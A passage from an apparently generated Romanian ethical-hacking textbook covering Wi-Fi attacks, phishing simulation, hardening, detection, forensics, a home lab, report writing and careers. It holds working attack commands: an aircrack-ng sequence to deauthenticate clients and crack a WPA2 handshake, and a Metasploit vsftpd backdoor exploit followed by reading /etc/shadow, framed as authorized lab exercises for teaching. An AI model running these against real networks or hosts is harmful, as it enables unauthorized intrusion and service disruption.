- **WPA2 (AES/CCMP)** — standard de ani buni; vulnerabil la atacul KRACK (reinstalarea cheii) în anumite implementări și la atacuri offline asupra parolei slabe.
- **WPA3 (SAE)** — îmbunătățiri majore (forward secrecy, protecție la dictionary attack offline), dar cu probleme timpurii (Dragonblood).

### 31.2 Atacul clasic: capturarea handshake-ului

Parola WPA2 nu poate fi dedusă din trafic direct — dar handshake-ul (schimbul de chei la asociere) poate fi capturat și testat offline împotriva dicționarelor.

```
# 1. Pune placa de rețea în monitor mode
sudo airmon-ng start wlan0
# 2. Ascultă rețelele din jur
sudo airodump-ng wlan0mon
# 3. Capturează handshake-ul de la o rețea țintă (BSSID, canal)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
# 4. Dacă nu apare niciun client, deautentifici un client pentru a forța reconectarea
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# 5. Spargi parola offline
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
```

**ATENȚIE:** aceste unelte se folosesc DOAR pe rețelele proprii sau cu autorizație scrisă. Deautentificarea clienților afectează disponibilitatea — un test neautorizat pe o rețea străină este ilegal.

### 31.3 Evil Twin și atacuri de tip "client"

Un AP fals cu același nume (SSID) păcălește clienții să se conecteze la tine (rogue AP + captive portal care fură parola, sau downgrade la trafic necriptat). Apărare: verifică certificatele în enterprise (802.1X cu EAP-TLS), evită Wi-Fi-uri publice nesigure, folosește VPN.

### 31.4 Securizarea rețelelor proprii

- WPA2/WPA3 cu **parolă lungă și aleatoare** (16+ caractere) — rezistentă la atacul offline.
- **Oaspete pe rețea separată** (guest VLAN), izolat de dispozitivele principale.
- Dezactivează **WPS** (vulnerabil la brute force PIN) și UPnP unde nu e necesar.
- Actualizează firmware-ul routerului; schimbă parolele implicite.
- Pentru enterprise: 802.1X cu certificate (EAP-TLS), nu doar nume utilizator/parolă.

### 31.5 Bluetooth și IoT — noțiuni

Bluetooth suferă de atacuri de tip BlueBorne (RCE pe stive vechi), KNOB (slăbirea criptării), și de "bluejacking"/"bluesnarfing" pe dispozitive vechi. IoT (camere, sonerii, becuri) are frecvent: parole implicite, actualizări lipsă, comunicații necriptate, cloud slab securizat. Regula: segmentează IoT pe rețea separată.

## Capitolul 32. Social Engineering și Phishing

### 32.1 Veriga slabă

Oamenii sunt aproape întotdeauna cea mai ușoară țintă. Social engineering-ul manipulează psihologic victima: autoritate falsă, urgență, frica, curiozitate, lăcomie, dorința de a ajuta.

### 32.2 Tehnici comune

- **Pretexting:** inventezi un pretext plauzibil („sunt de la IT, trebuie să-ți resetez parola”).
- **Phishing:** e-mail care imită o instituție legitimă, cu link/link către o pagină falsă.
- **Spear phishing:** targetat pe o persoană, cu detalii personale din OSINT.
- **Whaling:** vizează directori/executivi.
- **Vishing:** phishing telefonic; **SMiShing:** prin SMS.
- **Baiting:** medii fizice infectate (stick USB lăsat intenționat) — clasic în testele de securitate fizică.
- **Tailgating/piggybacking:** intri în incintă după un angajat.

### 32.3 Cum se testează (autorizat, într-un program de securitate)

Campaniile de phishing simulat sunt instrumente legitime de conștientizare:

1. Obții aprobare scrisă de la conducere și anunți persoanele de contact.
2. Folosești unelte de simulare (GoPhish, platforme dedicate) — **nu** kituri reale de phishing.
3. Trimiți e-mailuri realiste către angajați, cu link-uri către o pagină de antrenament care explică incidentul.
4. Măsori: rata de click, rata de introducere a credențialelor, raportarea către security.
5. Educați și retestați periodic — fără pedepse, cu conștientizare.

Exemplu de structură GoPhish (autorizat):

- Landing page care arată un avertisment de securitate (nu fură nimic)
- Tracking: click, trimitere date
- Rezultat: raport de conștientizare pentru management

### 32.4 Apărarea organizației

- Training periodic + simulări realiste.
- **MFA obligatoriu** — neutralizează cele mai multe phishing-uri cu credențiale.
- Filtre e-mail, SPF/DKIM/DMARC configurat corect (anti-spoofing).
- Proceduri clare pentru plăți și date sensibile (verificare pe un al doilea canal).
- Cultură în care raportarea unui click greșit e recompensată, nu pedepsită.

### 32.5 Aspecte etice și legale

Social engineering-ul testează oameni reali — cel mai sensibil tip de test. Fără autorizare scrisă explicită și fără reguli clare (cine poate fi vizat, ce metode sunt permise, cum se anunță victimele), testul devine hărțuire sau fraudă. Reguli de aur: transparență înainte (la nivel de conducere), minimizarea impactului, educare după fiecare incident.

## PARTEA A X-A — APĂRARE: BLUE TEAM

## Capitolul 33. Hardening și securizarea sistemelor

### 33.1 Principiile hardening-ului

1. **Reduce suprafața de atac:** dezactivează serviciile inutile, închide porturile nefolosite, elimină software-ul neutilizat.
2. **Principiul privilegiului minim:** fiecare proces și utilizator primește doar drepturile necesare.
3. **Patch management:** actualizează sistematic SO, aplicații și firmware. Vulnerabilitățile exploatare în sălbăcie sunt aproape mereu deja cunoscute și patch-uite.
4. **Configurare securizată:** parole implicite schimbate, autentificare puternică, criptare activă.
5. **Segmentare:** rețelele interne separate (DMZ, guest, IoT, management) limitează mișcarea laterală.
6. **Backup și testarea restaurării** — ultima linie de apărare împotriva ransomware.

### 33.2 Linux hardening

```
# Exemple de bază (adaptate politicii organizației)
# SSH: fără root login, fără parole, doar chei
sudo sed -i 's/#PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sudo sed -i 's/#PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
# Firewall
sudo ufw default deny incoming && sudo ufw allow ssh && sudo ufw enable
# Actualizări automate de securitate
sudo apt install unattended-upgrades
# Audit
sudo lynis audit system # auditor de sistem open-source
```

Alte măsuri: SELinux/AppArmor activate, dezactivarea modulelor kernel inutile, auditd pentru logare, verificarea integrității (AIDE), limitarea `su` la grupul wheel.

### 33.3 Windows hardening

- Politici de grup (GPO): parole puternice, blocare conturi, restricții software (AppLocker/WDAC).
- **Credential Guard și LSA Protection (PPL)** — protejează LSASS împotriva dumping-ului.
- **BitLocker** pentru criptarea discurilor.
- **Windows Defender / Microsoft Defender for Endpoint** actualizat.
- Dezactivarea serviciilor inutile (SMBv1!), dezactivarea NetBIOS, restricționarea RDP (VPN + NLA).
- Logging: activarea politicilor de audit (logon 4624/4625, proces 4688, PowerShell).

### 33.4 Securizarea aplicațiilor web

- Secure coding: input validation, parametrized queries, output encoding (vezi Partea VI).
- Headere: CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.
- Dependency scanning (OWASP Dependency-Check, Snyk) și SAST/DAST în pipeline.
- WAF pentru expuneri publice, dar **niciodată ca singură apărare**.
- Revizuire periodică: accese, configurări, expuneri (Shodan/Censys) — shadow IT.

### 33.5 Managementul vulnerabilităților

Ciclu: **descoperire** (scanere: OpenVAS, Nessus, Qualys) → **clasificare** (CVSS + context) → **remediere** (patch, mitigare, acceptare documentată) → **verificare** (rescan) → **raportare**. Scanerile produc zgomot: prioritizează după exploatabilitate reală și expunere, nu doar după scorul brut.

## Capitolul 34. Monitorizare, detectare și răspuns

### 34.1 De ce monitorizăm

Presupunerea defensivă corectă: **breșa va avea loc**. Scopul detecției este să scurtezi timpul dintre compromitere și descoperire (dwell time), când atacatorul încă nu a atins obiectivele.

### 34.2 Surse de date

- Loguri OS (autentificări, procese, servicii), aplicații, baze de date.
- Trafic de rețea (NetFlow, PCAP), DNS (exfiltrare!).
- Endpoint: EDR (detectare și răspuns pe terminale — procese, memorie, fișiere).
- Cloud: CloudTrail (AWS), audit logs.
- Active Directory: evenimente 4624/4625/4768/4769/4732 — aur pentru detectarea atacurilor Kerberos.

### 34.3 SIEM și reguli

SIEM (Splunk, Elastic Stack/ELK, Wazuh, Microsoft Sentinel) centralizează logurile și aplică reguli de corelare. Exemple de reguli valoroase:

- Mai multe autentificări eșuate de la aceeași sursă → brute force.
- `whoami`/`net user` executate în lanț pe mai multe mașini → lateral movement.
- Conexiuni ieșite către porturi neobișnuite în ore ciudate → C2/beaconing.
- Crearea unui cont nou + adăugare în administrators → persistență.
- Dimensiune anormală a traficului DNS sau către un singur domeniu → exfiltrare/tunel.

Un exemplu mental de corelare (ELK/Wazuh):

alert dacă: eveniment 4625 (login eșuat) > 10 în 5 minute de la aceeași IP  
SIEM-urile moderne includ MITRE ATT&CK mapping pentru fiecare regulă.

### 34.4 Threat hunting

Threat hunting = căutare **proactivă** a compromiterilor nedetectate, pe baza unor ipoteze ("dacă un atacator a intrat prin RDP expus, ce artefacte am căuta?"). Se folosesc: analiza proceselor, conexiunilor, hash-uri, comportamente anormale. Nu aștepti alertele — le cauți.

### 34.5 EDR și capabilități moderne

EDR (CrowdStrike, Defender, SentinelOne, Wazuh open-source) monitorizează în timp real procesele și comportamentele pe endpoint. Blochează: injectare de procese, execuții din memorie (fileless), credential dumping, rularea de scripturi ofuscate. Dimensiunea umană rămâne: un analyst care înțelege atacul (ATT&CK) răspunde mai bine decât orice automatizare.

## Capitolul 35. Răspuns la incidente și forensics

### 35.1 Ciclul de viață al unui incident

1. **Pregătire** — plan, unelte, contacte, playbooks.
2. **Detectare și analiză** — confirmi incidentul, evaluezi amploarea.
3. **Containment** — izolezi (scurt: deconectezi; termen lung: segmentare, resetări).
4. **Eradicare** — elimini atacatorul, persistența, malware-ul.
5. **Recuperare** — restaurezi din backup-uri verificate, întărești.
6. **Lecții învățate** — raport, remedieri, îmbunătățirea apărării.

### 35.2 Ordinea de prioritate (piramida)

Datele din memorie sunt cele mai volatile: **registre/Cache > RAM > procese/rețea > disc > backup-uri**. În forensics, colectezi întâi ce se pierde cel mai repede.

```
# Exemple de colectare (pe mașini proprii / cu mandat/autorizare)
# imaginea memoriei (RAM):
# (unelte specializate: LiME, WinPmem – NU rulezi pe sistem viu fără procedură)
# imaginea discului (bit-for-bit):
# dd if=/dev/sda of=imagine.dd bs=4M status=progress # sistem oprit!
# hash-uri pentru integritate:
sha256sum imagine.dd > imagine.dd.sha256
```

### 35.3 Analiza artefactelor

- **Windows:** hives de registry (System, SAM, Software — conțin istoric rulare, USB, servicii), Prefetch/Amcache (programe rulate), \$MFT (fișiere), Event Logs, jurnalul PowerShell, browser history, LNK-uri, Recycle Bin.
- **Linux:** ``.bash_history``, ``.var/log/auth.log``, ``.var/log/syslog``, cron, systemd journals, ``.ssh/authorized_keys``, procese ascunse.
- **Rețea:** PCAP-uri, conexiuni, DNS.
- **Memorie:** procese, injectări, chei, comenzi executate (Volatility).

### 35.4 Lanțul de custodie (chain of custody)

Orice probă care poate ajunge în instanță trebuie: colectată corect, hash-uită, documentată (cine, ce, când, cum), stocată securizat și transferată cu semnături. O probă contaminată sau fără custodie este inadmisibilă.

### 35.5 Forensics vs. incident response

**Forensics** = analiza aprofundată a probelor, pentru reconstrucție și eventuale proceduri legale (metodologie riguroasă, timp îndelungat). **Incident response** = acțiune rapidă pentru oprirea atacului (viteză, pragmatism). În practică se împletesc: IR-ul colectează datele pe care forensics le va analiza mai târziu.

## PARTEA A XI-A — PRACTICĂ: LABORATOR ȘI EXERCII

## Capitolul 36. Construirea propriului laborator

### 36.1 Arhitectura recomandată

Un laborator de acasă izolat, cu mașini virtuale:

```
+-----+
| Rețeaua virtuală NAT/Host-only (izolată!) |
| 192.168.56.0/24 |
| |
| [Kali 2026] = atacant (192.168.56.10) |
| [Metasploitable 3] = țintă Linux (192.168.56.20) |
| [Metasploitable 3] = țintă Windows (192.168.56.30) |
| [DVWA / Juice Shop] = țintă web (192.168.56.40) |
| [Windows 10/Server] = AD lab (192.168.56.50) |
+-----+
```

Reguli: **niciodată** bridge direct cu rețeaua ta reală; snapshot-uri înainte de orice exploatare; resurse limitate (2–4 GB RAM per VM); mașinile vulnerabile NU trebuie să aibă acces la internet necontrolat.

### 36.2 Instalare rapidă

```
# 1. VirtualBox / VMware Workstation Player (gratuit) instalat
# 2. Kali: imagine oficială OVA (VirtualBox) – import direct
# 3. Metasploitable: descărcat de la surse oficiale, importat
# 4. DVWA cu Docker pe o VM Ubuntu (sau XAMPP + DVWA manual)
docker run -d -p 8080:80 vulnerables/web-dvwa
# 5. OWASP Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
```

Poți adăuga: **OWASP WebGoat**, **bWAPP**, **VulnHub** mașini variate, **Active Directory lab** (Microsoft Evaluation Center — trial 180 zile).

### 36.3 Antrenament online legal

- **TryHackMe** — începători, camere ghidate pas cu pas.
- **HackTheBox** (Machines, Academy) — de la mediu la avansat.
- **PortSwigger Web Security Academy** — gratuit, cel mai bun pentru web.
- **PentesterLab** — exerciții web progresive.
- **VulnHub** — mașini downloadable (VulnHub e retras din 2024, dar imaginile rămân disponibile prin comunitate; alternative: **Proving Grounds**, **HTB**, **CyberDefenders** pentru blue team).
- **CTF-uri** (CTFtime) — competiții reale.

### 36.4 Rutina zilnică de practică

1. Alege o tehnică (ex. SQLi boolean blind) din această carte.
2. Citește teoria, apoi exersează pe DVWA/Juice Shop.
3. Repetă pe o mașină VulnHub/HTB fără ghid.
4. Scrie un mini-raport cu pașii și rezultatele.
5. Învață detectarea: cum ai apăra acel sistem? (exersează și pe Wazuh/Splunk local).

## Capitolul 37. Exercițiu ghidat complet (pe o mașină lab)

Scenariu: ai autorizație pentru `192.168.56.20` (Metasploitable). Urmează metodologia completă.

### 37.1 Faza 1 — Recunoaștere

```
# Pasiv: am aflat din OSINT că ținta rulează un stack vechi
# Activ:
nmap -Pn -sV -sC -p- 192.168.56.20 -oA scan_full
```

Rezultate tipice: porturi 21 (vsftpd 2.3.4), 22 (OpenSSH 4.7p1), 80 (Apache 2.2.8), 445 (SMB), 3306 (MySQL), 5432, 5900 (VNC), 6667 (IRC), 8180 (Tomcat). **Notează fiecare serviciu și versiune.**

### 37.2 Faza 2 — Analiză și exploatare

```
searchsploit vsftpd 2.3.4 # backdoor cunoscut (ușor de identificat)
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.20
run # -> shell root! (vsftpd rulează ca root)
```

Dacă serviciul nu are exploit direct, treci la enumerare (SMB share-uri, directoare web, utilizatori) — vei găsi credențiale slabe, fișiere de configurare, backup-uri.

### 37.3 Faza 3 — Dovedirea impactului

```
id # uid=0(root) – impact maxim
cat /etc/shadow # demonstrezi accesul la hash-uri
# Nu citi date personale; nu instala nimic permanent; fă doar dovada.
```

### 37.4 Faza 4 — Documentare și raport

Notează: IP, serviciu, versiune, CVE (dacă există), comanda exactă folosită, dovada (output relevant, anonimizat), impact, recomandare. Exercițiul tău se transformă într-un mini-raport profesionist.

## Capitolul 38. Scrierea unui raport de penetrare

### 38.1 Structura unui raport profesionist

1. **Sumar executiv** — pentru management: ce s-a găsit, care e riscul pentru afacere, ce trebuie făcut (fără jargon).
2. **Domeniul și metodologia** — scope, perioadă, instrumente, limitele testului.
3. **Rezumatul descoperirilor** — tabel cu vulnerabilități, severitate (CVSS), status.
4. **Descoperiri detaliate** — pentru fiecare: descriere, dovada (request/response, screenshot, output), pași de reproducere, impact, recomandări.
5. **Analize suplimentare** — observații low/info (hardening).
6. **Anexe** — liste de active, instrumente, artefacte.

### 38.2 Cum se scrie o descoperire bună

```
Titlu: SQL Injection în /items.php?id= (Reflected, boolean-based blind)
Severitate: High (CVSS 8.6)
Activ: https://192.168.56.20/items.php
Descriere: parametrul id este concatenat într-o interogare SQL...
Dovezi: cererea exactă + răspunsul care demonstrează diferența TRUE/FALSE
Reproducere: 1) ... 2) ... 3) ...
Impact: citirea întregii baze de date (date clienți, hash-uri parole)
Remediere: interogări parametrizate (PDO/prepared statements); principiul privilegiului minim pentru contul DB; ascunderea erorilor SQL.
```

### 38.3 Reguli de calitate

- Fiecare afirmație susținută de dovezi; fără speculații prezentate ca fapte.
- Impact calibrat la realitate (o demonstrație în sandbox nu e o breșă în producție).
- Severitatea corectă: nu umfla pentru dramatism — clientul își pierde încrederea.
- Remedieri acționabile, nu "îmbunătățiți securitatea".
- Retestare după remediere și raport final de verificare.

### 38.4 Greșeli frecvente

Rapoarte care doar listează unelte rulate; lipsa pașilor de reproducere; severități greșite; zero recomandări concrete; divulgarea de date reale în dovezi (anonimizează!); jargon excesiv în sumarul executiv.

## PARTEA A XII-A — CARIERĂ, CERTIFICĂRI ȘI RESURSE

## Capitolul 39. Drumul către o carieră în securitate

### 39.1 Trasee profesionale

- **Securitate ofensivă (Red Team):** pentester, security consultant, red teamer, exploit developer, bug bounty hunter.
- **Apărare (Blue Team):** SOC analyst, incident responder, threat hunter, malware analyst, forensicator, inginer securitate.
- **Alte direcții:** securitate cloud, DevSecOps, securitate aplicații (AppSec), audit & compliance, arhitect securitate, CISO.

Majoritatea specialiștilor încep în suport IT/administrare sau dezvoltare, apoi migrează spre securitate. Fundamentele solide (rețele, Linux, Windows, scriptare) valorează mai mult decât orice certificare la început.

### 39.2 Roadmap de învățare (12-24 luni)

1. **Lunile 1-3:** Linux, rețele (OSI, TCP/IP, DNS, HTTP), scriptare bash/Python. Fundamentele din Părțile I-III ale acestei cărți.
2. **Lunile 3-6:** securitate web (OWASP Top 10), laborator propriu, TryHackMe/PortSwigger Academy.
3. **Lunile 6-9:** recon/scanare/enumerare la nivel avansat, exploatare rețea, Metasploit, escalation Linux/Windows.
4. **Lunile 9-12:** metodologie completă de pentest; 30-50 de mașini de antrenament documentate; primul raport complet.
5. **Lunile 12-18:** specializare (web/AD/cloud); certificări practice; contribuții CTF.
6. **18+:** aplicații pentru poziții entry (T1 SOC, junior pentester), programe de bug bounty cu reguli clare, participare la comunități.

### 39.3 Certificări — ce merită cu adevărat

| Certificare                      | Nivel         | Caracter practic | Note                                                        |
|----------------------------------|---------------|------------------|-------------------------------------------------------------|
| eJPT (INE Security)              | Începător     | Înalt            | Laborator propriu, examen practic; excelent punct de start  |
| CompTIA Security+                | Începător     | Mediu            | Teorie largă; util pentru poziții entry/blue team           |
| CEH (EC-Council)                 | Mediu         | Scăzut-mediu     | Teoretic, controversat; cerut uneori de HR                  |
| OSCP (OffSec)                    | Mediu-avansat | Foarte înalt     | Standardul industriei pentru pentesting; examen practic 24h |
| PNPT (TCM Security)              | Mediu-avansat | Foarte înalt     | AD-centric, realist, include raportare                      |
| CRT0 (Zero-Point Security)       | Avansat       | Foarte înalt     | Red team pe Azure AD/AD                                     |
| BTL1 / BTL2 (Security Blue Team) | Blue team     | Înalt            | Incident response practic                                   |
| GIAC (GSEC, GCFA...)             | Diverse       | Mediu            | Recunoscute, scumpe                                         |

Regula: certificările practice (eJPT, OSCP, PNPT, CRT0) valorează mai mult decât cele teoretice, iar **experiența demonstrată** (mașini rezolvate, CTF-uri, contribuții open-source, un blog tehnic) convinge angajatorii.

### 39.4 Portofoliu și vizibilitate

- Cont TryHackMe/HTB cu rank și write-up-uri proprii (învață scriind).
- Blog tehnic (explică o tehnică, un laborator, un CTF).
- Proiecte open-source sau unelte mici publicate pe GitHub.

- Participare la CTF-uri și comunități locale (întâlniri, conferințe: DefCamp în România, BSides).
- Pe LinkedIn: scrie despre ce înveți — nu doar "caut job".

### 39.5 Bug bounty — start corect

Platforme: HackerOne, Bugcrowd, Intigriti, YesWeHack. Reguli: citește **întotdeauna** programul (scope, out-of-scope, metode interzise, contacte); respectă limitările (fără testare DoS, fără inginerie socială, fără exfiltrare de date); raportează clar cu PoC minim. Venitul e neregulat — tratează-l ca antrenament plătit, nu ca sursă principală la început.

## Capitolul 40. Resurse pentru învățare continuă

---

### 40.1 Cărți esențiale

- \*The Web Application Hacker's Handbook\* (Stuttard & Pinto) — clasic web.
- \*Penetration Testing: A Hands-On Introduction to Hacking\* (Georgia Weidman) — începători.
- \*The Hacker Playbook 3\* (Peter Kim) — red team practic.
- \*Red Team Development and Operations\* — red teaming modern.
- \*Practical Malware Analysis\* (Sikorski) — analiză malware.
- \*Blue Team Handbook\* (Don Murdoch) — IR.
- \*Linux Basics for Hackers\* (OccupyTheWeb) — fundații Linux.

### 40.2 Platforme și documentație

- OWASP (Top 10, WSTG, ASVS, Cheat Sheets) — standardul pentru web.
- MITRE ATT&CK — limbajul tacticilor; Lockheed Martin Cyber Kill Chain.
- NIST (SP 800-115, 800-61, CSF) — cadre și ghiduri.
- CVE.org / NVD / Exploit-DB / Packet Storm / HackerOne Hacktivity.
- Documentație oficială: Kali Docs, Metasploit Unleashed (OffSec, gratuit).

### 40.3 Comunități și conținut

- **Canale YouTube:** IppSec (write-up-uri HTB), John Hammond, NetworkChuck (începători), The Cyber Mentor, LiveOverflow (aprofundat).
- **Podcasturi:** Darknet Diaries (povești reale), Risky Business (știri).
- **Subreddit-uri:** r/netsec, r/cybersecurity, r/HowToHack (citește regulile).
- **Discord-uri** ale platformelor de antrenament; grupuri locale de securitate.

### 40.4 Menținerea cunoștințelor la zi

Securitatea se schimbă zilnic. Obişnuiește-te cu: un rezumat zilnic de știri (ex. Feedly cu sursele tale), urmărirea advisory-urilor pentru tehnologiile pe care le folosești, experimentarea săptămânală într-un laborator, și documentarea a ceea ce înveți. Consecvența modestă bate sprinturile.

### 40.5 Gând de final

Ethical hacking-ul este o disciplină: **curiozitate metodică + etică neclintită + comunicare excelentă**. Uneltele sunt doar instrumente; valoarea ta reală vine din înțelegerea profundă a sistemelor și din responsabilitatea cu care folosești această putere. Exersează legal, documentează tot, respectă oamenii și datele lor — și vei construi o carieră care contează.

# GLOSAR DE TERMENI

AP (Access Point) – dispozitiv care emite rețeaua wireless

APT – Advanced Persistent Threat; atacator susținut, sponsorizat

ASLR – Address Space Layout Randomization; randomizarea adreselor de memorie

ATT&CK – catalogul de tactici/tehnici al MITRE

C2/C&C – Command & Control; canalul prin care atacatorul controlează malware

CIA – Confidentiality, Integrity, Availability

CSRF – Cross-Site Request Forgery

CVE/CVSS – identificator/scor standard de vulnerabilități

DEP – Data Execution Prevention; prevenirea execuției din zone de date

DNS – Domain Name System

EDR – Endpoint Detection and Response

Exploit – cod care valorifică o vulnerabilitate

Honeypot – sistem-capcană pentru detectarea atacatorilor

IDOR – Insecure Direct Object Reference

Indicator of Compromise (IoC) – artefact care indică o breșă

Lateral movement – deplasarea printre sistemele unei rețele compromise

MFA – Multi-Factor Authentication

OSINT – informații din surse deschise

Payload – codul executat după exploatare

Pentest – test de penetrare autorizat

Persistence – mecanism prin care atacatorul rămâne în sistem

Phishing – escrocherie prin mesaje false

Pivoting – rutarea atacului printr-o mașină compromisă

Privilege escalation – creșterea drepturilor (user -> root/SYSTEM)

Ransomware – malware care criptează datele și cere răscumpărare

Recon – recunoaștere (colectare de informații)

Reverse shell – conexiune de la țintă către atacant

Rootkit – software care ascunde prezența unui atacator

SIEM – Security Information and Event Management

SOC – Security Operations Center

SPF/DKIM/DMARC – mecanisme anti-falsificare e-mail

SQLi – SQL Injection

SSRF – Server-Side Request Forgery

Threat intelligence – informații despre amenințări

TTL – Time To Live (rețele) / timp de viață

WAF – Web Application Firewall

XSS – Cross-Site Scripting

XXE – XML External Entity

Zero-day – vulnerabilitate necunoscută producătorului, fără patch

# NOTĂ LEGALĂ ȘI ETICĂ (IMPORTANT)

Această carte este un material **educational**. Toate tehnicile, comenzile și exemplele prezentate au scopul exclusiv de a explica modul în care funcționează securitatea informatică și de a permite cititorului să-și testeze **propriile sisteme** sau sisteme pentru care deține **autorizație scrisă explicită**.

Utilizarea acestor cunoștințe împotriva oricărui sistem fără autorizație constituie o infracțiune și poate atrage răspundere penală și civilă. Exemplele din această carte se execută DOAR în laboratoare proprii (mașini virtuale izolate) sau pe platforme de antrenament care oferă medii dedicate (TryHackMe, HackTheBox, PortSwigger Academy etc.).

Autorul (ExploiterX) și distribuitorii nu sunt responsabili pentru nicio utilizare ilegală a informațiilor conținute. Securitatea reală începe cu integritate: folosește aceste cunoștințe pentru a proteja, nu pentru a prejudicia.

\*Carte educațională generată pentru învățarea securității cibernetice.\*